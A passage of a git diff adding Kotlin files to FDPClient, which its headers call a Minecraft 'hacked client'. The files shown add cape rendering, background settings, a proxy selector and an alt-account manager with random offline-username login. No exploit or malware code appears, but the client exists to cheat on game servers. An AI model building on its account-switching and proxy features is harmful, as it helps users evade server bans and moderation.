org.objectweb.asm.tree.AbstractInsnNode +import org.objectweb.asm.tree.InsnList + +/** + * A bytecode node util + * + * @author CCBlueX + */ +object NodeUtils { + + /** + * Lazy. + */ + fun toNodes(vararg nodes: AbstractInsnNode): InsnList { + val insnList = InsnList() + for (node in nodes) + insnList.add(node) + return insnList + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/cape/DynamicCape.kt b/src/main/java/net/ccbluex/liquidbounce/ui/cape/DynamicCape.kt new file mode 100644 index 0000000..b113a08 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/cape/DynamicCape.kt @@ -0,0 +1,38 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.cape + +import net.minecraft.client.Minecraft +import net.minecraft.util.ResourceLocation +import java.awt.image.BufferedImage + +abstract class DynamicCape(override val name: String) : ICape { + + protected val frames = mutableListOf<BufferedImage>() + protected val delays = mutableListOf<Int>() + protected var playTime = 0 + protected val path = "fdpclient/cape/${name.lowercase().replace(" ","_")}_frame" + + override val cape: ResourceLocation + get() { + val frameTime = System.currentTimeMillis() % playTime + var frameId = 0 + for(i in delays.indices) { + if(frameTime < delays[i]) { + break + } + frameId = i + } + return ResourceLocation(path + frameId) + } + + override fun finalize() { + val mc = Minecraft.getMinecraft() + for (i in 0 until frames.size) { + mc.textureManager.deleteTexture(ResourceLocation(path + i)) + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/cape/GifCape.kt b/src/main/java/net/ccbluex/liquidbounce/ui/cape/GifCape.kt new file mode 100644 index 0000000..e447962 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/cape/GifCape.kt @@ -0,0 +1,35 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.cape + +import at.dhyan.open_imaging.GifDecoder +import net.minecraft.client.Minecraft +import net.minecraft.client.renderer.texture.DynamicTexture +import net.minecraft.util.ResourceLocation +import java.io.InputStream + +class GifCape(name: String, imageIS: InputStream) : DynamicCape(name) { + + init { + val gif = GifDecoder.read(imageIS) + imageIS.close() + + var delay = 0 + for(i in 0 until gif.frameCount) { + frames.add(gif.getFrame(i)) + + delay += gif.getDelay(i) * 10 + delays.add(delay) + } + + playTime = delay + + val mc = Minecraft.getMinecraft() + frames.forEachIndexed { index, image -> + mc.textureManager.loadTexture(ResourceLocation(path + index), DynamicTexture(image)) + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/cape/GuiCapeManager.kt b/src/main/java/net/ccbluex/liquidbounce/ui/cape/GuiCapeManager.kt new file mode 100644 index 0000000..df00fca --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/cape/GuiCapeManager.kt @@ -0,0 +1,221 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.cape + +import com.google.gson.JsonObject +import com.google.gson.JsonParser +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.file.FileManager +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.utils.extensions.drawCenteredString +import net.minecraft.client.gui.GuiButton +import net.minecraft.client.gui.GuiScreen +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.client.renderer.OpenGlHelper +import net.minecraft.client.renderer.RenderHelper +import org.lwjgl.opengl.GL11 +import java.io.File +import java.io.FileInputStream +import javax.imageio.ImageIO + +object GuiCapeManager : GuiScreen() { + private val jsonFile = File(FDPClient.fileManager.capesDir, "cape.json") + + private val embeddedCapes = mutableListOf<ICape>() + + var nowCape: ICape? + val capeList = mutableListOf<ICape>() + + init { + arrayOf("classic", "classic2", "aurora", "forest", "rose", "lavender", "ocean", "modern1", "modern2", "lava", "citrus", "fire", "nightlife", "abstract", "blur", "owner").forEach { + try { + embeddedCapes.add(loadCapeFromResource(it, "assets/minecraft/fdpclient/cape/$it.png")) + } catch (e: Throwable){ + System.out.println("Failed to load Capes") + } + } + nowCape = embeddedCapes.random() + pushEmbeddedCape() + } + + private fun pushEmbeddedCape() { + capeList.addAll(embeddedCapes) + } + + fun load() { + capeList.clear() + + pushEmbeddedCape() + + // add capes from files + for (file in FDPClient.fileManager.capesDir.listFiles()) { + if (file.isFile && !file.name.equals(jsonFile.name)) { + try { + val args = file.name.split(".").toTypedArray() + val name = java.lang.String.join(".", *args.copyOfRange(0, args.size - 1)) + capeList.add(if(args.last() == "gif") { + loadGifCapeFromFile(name, file) + } else { + loadCapeFromFile(name, file) + }) + } catch (e: Exception) { + ClientUtils.logError("Occurred an error while loading cape from file: ${file.name}") + e.printStackTrace() + } + } + } + + if (!jsonFile.exists()) { + return + } + + val json = JsonParser().parse(jsonFile.reader(Charsets.UTF_8)).asJsonObject + + if (json.has("name")) { + val name = json.get("name").asString + if (!name.equals("NONE")) { + val result = capeList.find { it.name == name } ?: embeddedCapes.random() + nowCape = result + } + } + } + + fun save() { + val json = JsonObject() + + json.addProperty("name", if (nowCape != null) { nowCape!!.name } else { "NONE" }) + + jsonFile.writeText(FileManager.PRETTY_GSON.toJson(json), Charsets.UTF_8) + } + + private fun loadCapeFromResource(name: String, loc: String) = SingleImageCape(name, ImageIO.read(GuiCapeManager::class.java.classLoader.getResourceAsStream(loc))) + + private fun loadCapeFromFile(name: String, file: File) = SingleImageCape(name, ImageIO.read(file)) + + private fun loadGifCapeFromResource(name: String, loc: String) = GifCape(name, GuiCapeManager::class.java.classLoader.getResourceAsStream(loc)) + + private fun loadGifCapeFromFile(name: String, file: File) = GifCape(name, FileInputStream(file)) + + override fun onGuiClosed() { + save() + } + + // render + override fun initGui() { + this.buttonList.add(GuiButton(0, 0, 0, mc.fontRendererObj.getStringWidth("< QUIT") + 10, 20, "< QUIT")) + this.buttonList.add(GuiButton(1, (width * 0.3).toInt(), (height * 0.5).toInt(), mc.fontRendererObj.getStringWidth("<-") + 10, 20, "<-")) + this.buttonList.add(GuiButton(2, (width * 0.7).toInt(), (height * 0.5).toInt(), mc.fontRendererObj.getStringWidth("->") + 10, 20, "->")) + } + + override fun actionPerformed(p_actionPerformed_1_: GuiButton) { + fun next(index: Int) { + var chooseIndex = index + if (chooseIndex >= capeList.size) { + chooseIndex = -1 + } + + if (chooseIndex < -1) { + chooseIndex = capeList.size - 1 + } + + nowCape = if (chooseIndex != -1) { + capeList[chooseIndex] + } else { + null + } + } + + when (p_actionPerformed_1_.id) { + 0 -> mc.displayGuiScreen(null) + 1 -> next(capeList.indexOf(nowCape) - 1) + 2 -> next(capeList.indexOf(nowCape) + 1) + } + } + + override fun drawScreen(p_drawScreen_1_: Int, p_drawScreen_2_: Int, p_drawScreen_3_: Float) { + // draw background + this.drawDefaultBackground() + + GL11.glPushMatrix() + mc.fontRendererObj.drawCenteredString(if (nowCape == null) { "§cNONE" } else { "§a${nowCape!!.name}" }, width * 0.50f, height * 0.23f, -1, false) + GL11.glScalef(2f, 2f, 2f) + mc.fontRendererObj.drawCenteredString("Cape Manager", width * 0.25f, height * 0.03f, -1, false) + GL11.glPopMatrix() + + // draw buttons + super.drawScreen(p_drawScreen_1_, p_drawScreen_2_, p_drawScreen_3_) + + // draw entity + mc.thePlayer ?: return + GL11.glEnable(GL11.GL_CULL_FACE) + GlStateManager.resetColor() + GL11.glColor4f(1F, 1F, 1F, 1F) + GlStateManager.enableColorMaterial() + GlStateManager.pushMatrix() + GL11.glTranslatef(width * 0.5f - 60, height * 0.3f, 0f) + GL11.glScalef(2f, 2f, 2f) + GL11.glTranslatef(30f, 100f, 0f) + GlStateManager.translate(0F, 0F, 50F) + GlStateManager.scale(-50F, 50F, 50F) + GlStateManager.rotate(180F, 0F, 0F, 1F) + + val renderYawOffset = mc.thePlayer.renderYawOffset + val rotationYaw = mc.thePlayer.rotationYaw + val rotationPitch = mc.thePlayer.rotationPitch + val prevRotationYawHead = mc.thePlayer.prevRotationYawHead + val rotationYawHead = mc.thePlayer.rotationYawHead + val armor0 = mc.thePlayer.inventory.armorInventory[0] + val armor1 = mc.thePlayer.inventory.armorInventory[1] + val armor2 = mc.thePlayer.inventory.armorInventory[2] + val armor3 = mc.thePlayer.inventory.armorInventory[3] + val current = mc.thePlayer.inventory.mainInventory[mc.thePlayer.inventory.currentItem] + + GlStateManager.rotate(135F, 0F, 1F, 0F) + RenderHelper.enableStandardItemLighting() + GlStateManager.rotate(-135F, 0F, 1F, 0F) + GlStateManager.rotate(0f, 1F, 0F, 0F) + + mc.thePlayer.renderYawOffset = 180f + mc.thePlayer.rotationYaw = 180f + mc.thePlayer.rotationPitch = 0f + mc.thePlayer.rotationYawHead = mc.thePlayer.rotationYaw + mc.thePlayer.prevRotationYawHead = mc.thePlayer.rotationYaw + mc.thePlayer.inventory.armorInventory[0] = null + mc.thePlayer.inventory.armorInventory[1] = null + mc.thePlayer.inventory.armorInventory[2] = null + mc.thePlayer.inventory.armorInventory[3] = null + mc.thePlayer.inventory.mainInventory[mc.thePlayer.inventory.currentItem] = null + + GlStateManager.translate(0F, 0F, 0F) + + val renderManager = mc.renderManager + renderManager.setPlayerViewY(180F) + renderManager.isRenderShadow = false + renderManager.renderEntityWithPosYaw(mc.thePlayer, 0.0, 0.0, 0.0, 0F, 1F) + renderManager.isRenderShadow = true + + mc.thePlayer.renderYawOffset = renderYawOffset + mc.thePlayer.rotationYaw = rotationYaw + mc.thePlayer.rotationPitch = rotationPitch + mc.thePlayer.prevRotationYawHead = prevRotationYawHead + mc.thePlayer.rotationYawHead = rotationYawHead + mc.thePlayer.inventory.armorInventory[0] = armor0 + mc.thePlayer.inventory.armorInventory[1] = armor1 + mc.thePlayer.inventory.armorInventory[2] = armor2 + mc.thePlayer.inventory.armorInventory[3] = armor3 + mc.thePlayer.inventory.mainInventory[mc.thePlayer.inventory.currentItem] = current + + GlStateManager.popMatrix() + RenderHelper.disableStandardItemLighting() + GlStateManager.disableRescaleNormal() + GlStateManager.setActiveTexture(OpenGlHelper.lightmapTexUnit) + GlStateManager.disableTexture2D() + GlStateManager.setActiveTexture(OpenGlHelper.defaultTexUnit) + GlStateManager.resetColor() + } + + override fun doesGuiPauseGame() = false +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/cape/ICape.kt b/src/main/java/net/ccbluex/liquidbounce/ui/cape/ICape.kt new file mode 100644 index 0000000..5c4e433 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/cape/ICape.kt @@ -0,0 +1,17 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.cape + +import net.minecraft.util.ResourceLocation + +interface ICape { + + val name: String + + val cape: ResourceLocation + + fun finalize() +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/cape/SingleImageCape.kt b/src/main/java/net/ccbluex/liquidbounce/ui/cape/SingleImageCape.kt new file mode 100644 index 0000000..f1b95bc --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/cape/SingleImageCape.kt @@ -0,0 +1,23 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.cape + +import net.minecraft.client.Minecraft +import net.minecraft.client.renderer.texture.DynamicTexture +import net.minecraft.util.ResourceLocation +import java.awt.image.BufferedImage + +class SingleImageCape(override val name: String, val image: BufferedImage) : ICape { + override val cape = ResourceLocation("fdpclient/cape/${name.lowercase().replace(" ","_")}") + + init { + Minecraft.getMinecraft().textureManager.loadTexture(cape, DynamicTexture(image)) + } + + override fun finalize() { + Minecraft.getMinecraft().textureManager.deleteTexture(cape) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/GuiBackground.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/GuiBackground.kt new file mode 100644 index 0000000..5def92c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/GuiBackground.kt @@ -0,0 +1,132 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.utils.extensions.drawCenteredString +import net.ccbluex.liquidbounce.utils.misc.MiscUtils +import net.minecraft.client.gui.GuiButton +import net.minecraft.client.gui.GuiScreen +import net.minecraft.client.renderer.texture.DynamicTexture +import net.minecraft.util.ResourceLocation +import org.lwjgl.input.Keyboard +import java.awt.Color +import java.io.FileInputStream +import java.io.FileOutputStream +import java.nio.file.Files +import javax.imageio.ImageIO + +class GuiBackground(private val prevGui: GuiScreen) : GuiScreen() { + + companion object { + var enabled = true + var particles = false + var blur = false + } + + private lateinit var enabledButton: GuiButton + private lateinit var blurButton: GuiButton + private lateinit var particlesButton: GuiButton + private lateinit var typeButton: GuiButton + private lateinit var lastButton: GuiButton + private lateinit var nextButton: GuiButton + private lateinit var animatedButton: GuiButton + + override fun initGui() { + enabledButton = GuiButton(1, width / 2 - 100, height / 4 + 35, "") + buttonList.add(enabledButton) + blurButton = GuiButton(9, width / 2 - 100, height / 4, "") + buttonList.add(blurButton) + + typeButton = GuiButton(5, width / 2 - 100, height / 4 + 40 + 25, "") + buttonList.add(typeButton) + lastButton = GuiButton(6, width / 2 - 100, height / 4 + 40 + 25 * 2, 20, 20, "<") + buttonList.add(lastButton) + nextButton = GuiButton(7, width / 2 + 80, height / 4 + 40 + 25 * 2, 20, 20, ">") + buttonList.add(nextButton) + animatedButton = GuiButton(8, width / 2 - 100, height / 4 + 40 + 25 * 3, "") + buttonList.add(animatedButton) + + particlesButton = GuiButton(2, width / 2 - 100, height / 4 + 40 + 25 * 4, "") + buttonList.add(particlesButton) + buttonList.add(GuiButton(3, width / 2 - 100, height / 4 + 40 + 25 * 5, 98, 20, "%ui.background.change%")) + buttonList.add(GuiButton(4, width / 2 + 2, height / 4 + 40 + 25 * 5, 98, 20, "%ui.background.reset%")) + + buttonList.add(GuiButton(0, width / 2 - 100, height / 4 + 40 + 25 * 6 + 10, "%ui.back%")) + + updateButtons() + } + + private fun updateButtons() { + enabledButton.displayString = "%ui.status% (${if (enabled) "%ui.on%" else "%ui.off%"})" + blurButton.displayString = "Background Blur (${if (blur) "%ui.on%" else "%ui.off%"})" + particlesButton.displayString = "%ui.background.particles% (${if (particles) "%ui.on%" else "%ui.off%"})" + val hasCustomBackground = FDPClient.background != null + lastButton.enabled = !hasCustomBackground + nextButton.enabled = !hasCustomBackground + typeButton.enabled = !hasCustomBackground + animatedButton.enabled = !hasCustomBackground + } + + override fun actionPerformed(button: GuiButton) { + when (button.id) { + 1 -> { + enabled = !enabled + } + 9 -> { + blur = !blur + } + 2 -> { + particles = !particles + } + 3 -> { + val file = MiscUtils.openFileChooser() ?: return + if (file.isDirectory) return + + try { + Files.copy(file.toPath(), FileOutputStream(FDPClient.fileManager.backgroundFile)) + + val image = ImageIO.read(FileInputStream(FDPClient.fileManager.backgroundFile)) + FDPClient.background = ResourceLocation(FDPClient.CLIENT_NAME.lowercase() + "/background.png") + mc.textureManager.loadTexture(FDPClient.background, DynamicTexture(image)) + } catch (e: Exception) { + e.printStackTrace() + MiscUtils.showErrorPopup("Error", "Exception class: " + e.javaClass.name + "\nMessage: " + e.message) + FDPClient.fileManager.backgroundFile.delete() + } + } + 4 -> { + FDPClient.background = null + FDPClient.fileManager.backgroundFile.delete() + } + // Remove the gradient-related cases (5, 6, 7, 8) + + 0 -> mc.displayGuiScreen(prevGui) + } + + updateButtons() + + FDPClient.fileManager.saveConfig(FDPClient.fileManager.specialConfig) + } + + override fun drawScreen(mouseX: Int, mouseY: Int, partialTicks: Float) { + drawBackground(0) + mc.fontRendererObj.drawCenteredString("%ui.background%", this.width / 2F, height / 8F + 5F, 4673984, true) + mc.fontRendererObj.drawCenteredString("%ui.background.gcurrent%: " + if(FDPClient.background == null) { "Customized" } else { "Customized" }, + this.width / 2F, height / 4 + 40 + 25 * 2f + (20 - mc.fontRendererObj.FONT_HEIGHT) * 0.5f, Color.WHITE.rgb, true) + + super.drawScreen(mouseX, mouseY, partialTicks) + } + + override fun keyTyped(typedChar: Char, keyCode: Int) { + if (Keyboard.KEY_ESCAPE == keyCode) { + mc.displayGuiScreen(prevGui) + return + } + + super.keyTyped(typedChar, keyCode) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/GuiProxySelect.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/GuiProxySelect.kt new file mode 100644 index 0000000..5301130 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/GuiProxySelect.kt @@ -0,0 +1,91 @@ +package net.ccbluex.liquidbounce.ui.client + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.handler.network.ProxyManager +import net.minecraft.client.gui.GuiButton +import net.minecraft.client.gui.GuiScreen +import net.minecraft.client.gui.GuiTextField +import org.lwjgl.input.Keyboard +import java.net.Proxy + +class GuiProxySelect(private val prevGui: GuiScreen) : GuiScreen() { + + private lateinit var textField: GuiTextField + private lateinit var type: GuiButton + private lateinit var stat: GuiButton + + override fun initGui() { + Keyboard.enableRepeatEvents(true) + textField = GuiTextField(3, mc.fontRendererObj, width / 2 - 100, 60, 200, 20) + textField.isFocused = true + textField.text = ProxyManager.proxy + textField.maxStringLength = 114514 + buttonList.add(GuiButton(1, width / 2 - 100, height / 4 + 96, "").also { type = it }) + buttonList.add(GuiButton(2, width / 2 - 100, height / 4 + 120, "").also { stat = it }) + buttonList.add(GuiButton(0, width / 2 - 100, height / 4 + 144, "%ui.back%")) + updateButtonStat() + } + + private fun updateButtonStat() { + type.displayString = "%ui.proxy.type%: " + ProxyManager.proxyType.name + stat.displayString = "%ui.status%: " + if (ProxyManager.isEnable) "§a%ui.on%" else "§c%ui.off%" + } + + override fun drawScreen(mouseX: Int, mouseY: Int, partialTicks: Float) { + drawBackground(0) + drawCenteredString(mc.fontRendererObj, "%ui.proxy.screen%", width / 2, 34, 0xffffff) + textField.drawTextBox() + if (textField.text.isEmpty() && !textField.isFocused) { + drawString(mc.fontRendererObj, "§7%ui.proxy.address%", width / 2 - 100, 66, 0xffffff) + } + super.drawScreen(mouseX, mouseY, partialTicks) + } + + override fun actionPerformed(button: GuiButton) { + when (button.id) { + 0 -> { + ProxyManager.proxy = textField.text + mc.displayGuiScreen(prevGui) + } + 1 -> { + when(ProxyManager.proxyType) { + Proxy.Type.SOCKS -> ProxyManager.proxyType = Proxy.Type.HTTP + Proxy.Type.HTTP -> ProxyManager.proxyType = Proxy.Type.SOCKS + else -> throw IllegalStateException("Proxy type is not supported!") + } + } + 2 -> { + ProxyManager.isEnable = !ProxyManager.isEnable + } + } + updateButtonStat() + FDPClient.fileManager.saveConfig(FDPClient.fileManager.specialConfig) + } + + override fun onGuiClosed() { + ProxyManager.proxy = textField.text + } + + override fun keyTyped(typedChar: Char, keyCode: Int) { + if (Keyboard.KEY_ESCAPE == keyCode) { + mc.displayGuiScreen(prevGui) + return + } + + if (textField.isFocused) { + textField.textboxKeyTyped(typedChar, keyCode) + } + + super.keyTyped(typedChar, keyCode) + } + + override fun mouseClicked(mouseX: Int, mouseY: Int, mouseButton: Int) { + textField.mouseClicked(mouseX, mouseY, mouseButton) + super.mouseClicked(mouseX, mouseY, mouseButton) + } + + override fun updateScreen() { + textField.updateCursorCounter() + super.updateScreen() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/altmanager/GuiAltManager.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/altmanager/GuiAltManager.kt new file mode 100644 index 0000000..359b332 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/altmanager/GuiAltManager.kt @@ -0,0 +1,216 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.altmanager + +import me.liuli.elixir.account.MinecraftAccount +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.SessionEvent +import net.ccbluex.liquidbounce.ui.client.altmanager.sub.GuiAdd +import net.ccbluex.liquidbounce.ui.client.altmanager.sub.GuiDirectLogin +import net.ccbluex.liquidbounce.ui.client.altmanager.sub.GuiMicrosoftLoginPending +import net.ccbluex.liquidbounce.ui.i18n.LanguageManager +import net.ccbluex.liquidbounce.utils.extensions.drawCenteredString +import net.ccbluex.liquidbounce.utils.login.LoginUtils +import net.minecraft.client.Minecraft +import net.minecraft.client.gui.GuiButton +import net.minecraft.client.gui.GuiScreen +import net.minecraft.client.gui.GuiSlot +import net.minecraft.client.gui.GuiTextField +import net.minecraft.util.Session +import org.lwjgl.input.Keyboard +import java.awt.Color +import java.util.* + +class GuiAltManager(private val prevGui: GuiScreen) : GuiScreen() { + var status = "§7${LanguageManager.getAndFormat("ui.alt.idle")}" + private lateinit var altsList: GuiList + + override fun initGui() { + altsList = GuiList(this) + altsList.registerScrollButtons(7, 8) + altsList.elementClicked(-1, false, 0, 0) + altsList.scrollBy(-1 * altsList.slotHeight) + val j = 22 + buttonList.add(GuiButton(1, width - 80, j + 24, 70, 20, "%ui.alt.add%")) + buttonList.add(GuiButton(2, width - 80, j + 24 * 2, 70, 20, "%ui.alt.remove%")) + buttonList.add(GuiButton(0, width - 80, height - 65, 70, 20, "%ui.back%")) + buttonList.add(GuiButton(3, 5, j + 24, 90, 20, "%ui.alt.login%")) + buttonList.add(GuiButton(6, 5, j + 24 * 2, 90, 20, "%ui.alt.directLogin%")) + buttonList.add(GuiButton(11, 5, j + 24 * 3, 90, 20, "%ui.alt.msLogin%")) + buttonList.add(GuiButton(4, 5, j + 24 * 4, 90, 20, "%ui.disconnect.randomAlt%")) + buttonList.add(GuiButton(89, 5, j + 24 * 5, 90, 20, "%ui.disconnect.randomOffline%")) + randomAltField.xPosition = 5 + randomAltField.yPosition = j + 24 * 6 + randomAltField.width = 90 + randomAltField.height = 20 + } + + override fun drawScreen(mouseX: Int, mouseY: Int, partialTicks: Float) { + drawBackground(0) + altsList.drawScreen(mouseX, mouseY, partialTicks) + mc.fontRendererObj.drawCenteredString(LanguageManager.getAndFormat("ui.altmanager"), (width / 2).toFloat(), 6f, 0xffffff) + mc.fontRendererObj.drawCenteredString(LanguageManager.getAndFormat("ui.alt.alts", FDPClient.fileManager.accountsConfig.altManagerMinecraftAccounts.size), (width / 2).toFloat(), 18f, 0xffffff) + mc.fontRendererObj.drawCenteredString(status, (width / 2).toFloat(), 32f, 0xffffff) + mc.fontRendererObj.drawStringWithShadow(LanguageManager.getAndFormat("ui.alt.username", mc.getSession().username), 6f, 6f, 0xffffff) + mc.fontRendererObj.drawStringWithShadow(LanguageManager.getAndFormat("ui.alt.type", if (mc.getSession().token.length >= 32) "%ui.alt.type.premium%" else "%ui.alt.type.cracked%"), 6f, 15f, 0xffffff) + randomAltField.drawTextBox() + if (randomAltField.text.isEmpty() && !randomAltField.isFocused) { + drawCenteredString(mc.fontRendererObj, "§7" + LanguageManager.getAndFormat("ui.alt.randomAltField"), width / 2 - 55, 66, 0xffffff) + } + super.drawScreen(mouseX, mouseY, partialTicks) + } + + override fun actionPerformed(button: GuiButton) { + if (!button.enabled) return + when (button.id) { + 0 -> mc.displayGuiScreen(prevGui) + 1 -> mc.displayGuiScreen(GuiAdd(this)) + 2 -> status = if (altsList.selectedSlot != -1 && altsList.selectedSlot < altsList.size) { + FDPClient.fileManager.accountsConfig.altManagerMinecraftAccounts.removeAt(altsList.selectedSlot) + FDPClient.fileManager.saveConfig(FDPClient.fileManager.accountsConfig) + "§a${LanguageManager.getAndFormat("ui.alt.removed")}" + } else { + "§c${LanguageManager.getAndFormat("ui.alt.needSelect")}" + } + 3 -> if (altsList.selectedSlot != -1 && altsList.selectedSlot < altsList.size) { + Thread { + val minecraftAccount = FDPClient.fileManager.accountsConfig.altManagerMinecraftAccounts[altsList.selectedSlot] + status = "§a${LanguageManager.getAndFormat("ui.alt.loggingIn")}" + status = login(minecraftAccount) + }.start() + } else { + status = "§c${LanguageManager.getAndFormat("ui.alt.needSelect")}" + } + 4 -> { + if (FDPClient.fileManager.accountsConfig.altManagerMinecraftAccounts.size <= 0) { + status = "§c${LanguageManager.getAndFormat("ui.alt.emptyList")}" + return + } + val randomInteger = Random().nextInt(FDPClient.fileManager.accountsConfig.altManagerMinecraftAccounts.size) + if (randomInteger < altsList.size) altsList.selectedSlot = randomInteger + Thread { + val minecraftAccount = + FDPClient.fileManager.accountsConfig.altManagerMinecraftAccounts[randomInteger] + status = "§a${LanguageManager.getAndFormat("ui.alt.loggingIn")}" + status = login(minecraftAccount) + }.start() + } + 6 -> mc.displayGuiScreen(GuiDirectLogin(this)) + 89 -> Thread { LoginUtils.randomCracked() }.start() + 11 -> mc.displayGuiScreen(GuiMicrosoftLoginPending(this)) + } + } + + override fun updateScreen() { + randomAltField.updateCursorCounter() + super.updateScreen() + } + + override fun mouseClicked(mouseX: Int, mouseY: Int, mouseButton: Int) { + randomAltField.mouseClicked(mouseX, mouseY, mouseButton) + super.mouseClicked(mouseX, mouseY, mouseButton) + } + + override fun keyTyped(typedChar: Char, keyCode: Int) { + when (keyCode) { + Keyboard.KEY_ESCAPE -> { + FDPClient.fileManager.saveConfig(FDPClient.fileManager.specialConfig) + mc.displayGuiScreen(prevGui) + return + } + Keyboard.KEY_UP -> { + var i = altsList.selectedSlot - 1 + if (i < 0) i = 0 + altsList.elementClicked(i, false, 0, 0) + } + Keyboard.KEY_DOWN -> { + var i = altsList.selectedSlot + 1 + if (i >= altsList.size) i = altsList.size - 1 + altsList.elementClicked(i, false, 0, 0) + } + Keyboard.KEY_RETURN -> { + altsList.elementClicked(altsList.selectedSlot, true, 0, 0) + } + Keyboard.KEY_NEXT -> { + altsList.scrollBy(height - 100) + } + Keyboard.KEY_PRIOR -> { + altsList.scrollBy(-height + 100) + return + } + } + if (randomAltField.isFocused) randomAltField.textboxKeyTyped(typedChar, keyCode) + super.keyTyped(typedChar, keyCode) + } + + override fun handleMouseInput() { + super.handleMouseInput() + altsList.handleMouseInput() + } + + private inner class GuiList(prevGui: GuiScreen) + : GuiSlot(mc, prevGui.width, prevGui.height, 40, prevGui.height - 40, 30) { + + var selectedSlot = 0 + get() { + if (field > FDPClient.fileManager.accountsConfig.altManagerMinecraftAccounts.size) + field = -1 + return field + } + + override fun isSelected(id: Int): Boolean { + return selectedSlot == id + } + + public override fun getSize(): Int { + return FDPClient.fileManager.accountsConfig.altManagerMinecraftAccounts.size + } + + public override fun elementClicked(var1: Int, doubleClick: Boolean, var3: Int, var4: Int) { + selectedSlot = var1 + if (doubleClick) { + if (altsList.selectedSlot != -1 && altsList.selectedSlot < altsList.size) { + Thread { + val minecraftAccount = FDPClient.fileManager.accountsConfig.altManagerMinecraftAccounts[altsList.selectedSlot] + status = "§a${LanguageManager.getAndFormat("ui.alt.loggingIn")}" + status = "§c" + login(minecraftAccount) + }.start() + } else { + status = "§c${LanguageManager.getAndFormat("ui.alt.needSelect")}" + } + } + } + + override fun drawSlot(id: Int, x: Int, y: Int, var4: Int, var5: Int, var6: Int) { + val minecraftAccount = FDPClient.fileManager.accountsConfig.altManagerMinecraftAccounts[id] + mc.fontRendererObj.drawCenteredString(minecraftAccount.name, width / 2f, y + 2f, Color.WHITE.rgb, true) + mc.fontRendererObj.drawCenteredString(minecraftAccount.type, width / 2f, y + 15f, Color.LIGHT_GRAY.rgb, true) + } + + override fun drawBackground() {} + } + + companion object { + var randomAltField = GuiTextField(2, Minecraft.getMinecraft().fontRendererObj, 0, 0, 0, 0) + + init { + randomAltField.text = "FDP%n%n_%s%s%s%s" + randomAltField.maxStringLength = Int.MAX_VALUE + } + + fun login(account: MinecraftAccount): String { + return try { + val mc = Minecraft.getMinecraft() + mc.session = account.session.let { Session(it.username, it.uuid, it.token, it.type) } + FDPClient.eventManager.callEvent(SessionEvent()) + LanguageManager.getAndFormat("ui.alt.nameChanged", mc.session.username) + } catch (e: Exception) { + e.printStackTrace() + LanguageManager.getAndFormat("ui.alt.error", e.message ?: "UNKNOWN") + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/altmanager/sub/GuiAdd.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/altmanager/sub/GuiAdd.kt new file mode 100644 index 0000000..52828f3 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/altmanager/sub/GuiAdd.kt @@ -0,0 +1,108 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.altmanager.sub + +import me.liuli.elixir.manage.AccountSerializer +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.ui.client.altmanager.GuiAltManager +import net.ccbluex.liquidbounce.ui.elements.GuiPasswordField +import net.minecraft.client.gui.GuiButton +import net.minecraft.client.gui.GuiScreen +import 